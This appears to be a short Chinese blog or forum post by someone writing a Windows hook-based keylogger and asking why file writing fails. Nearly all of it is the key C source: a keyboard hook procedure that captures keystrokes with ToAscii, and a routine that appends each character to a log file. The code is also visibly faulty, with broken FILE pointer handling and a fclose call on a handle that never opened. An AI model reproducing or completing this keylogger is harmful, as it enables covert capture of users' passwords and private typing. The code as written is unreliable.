今天搞了一下Hook键盘记录器。。。。。
不知道为会么写文件的时候会出错。。
贴关键代码。。。。看来得解决这个问题才行啊。。。。。。。。。
void WriteChar(char* sText)
{
//加锁
HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");
if(hMetux != NULL)
WaitForSingleObject(hMetux, 300);
FILE fp;
if ((fp = &fopen(m_CharFileName,"ab")) == NULL)
{
MessageBox(NULL,"打开了出错","打开了出错",MB_OK);
fclose(&fp);
}
if (fwrite(sText,strlen(sText),1,&fp) != 1)
{
MessageBox(NULL,"写入出错","写入出错",MB_OK);
fclose(&fp);
}
fclose(&fp);
//取锁
if(hMetux != NULL)
{
ReleaseMutex(hMetux);
CloseHandle(hMetux);
}
}
LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);
char key[10] = {0};
BYTE buffer[256] = {0};
WORD m_wchar = 0;
UINT m_scan = 0;
if ((lParam & 0x40000000) && (nCode == HC_ACTION))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100))
{
if (wParam == VK_RETURN)
{
WriteChar("\r\n");
}
else
{
GetKeyboardState(buffer);
m_scan = 0;
ToAscii(wParam,m_scan,buffer , &m_wchar,0);
key[0] = m_wchar%255;
if(key[0] >= 32 && key[0] <= 126)
WriteChar(key);
}
}
}
return lResult;
}
出现问题。。写文件出错。。。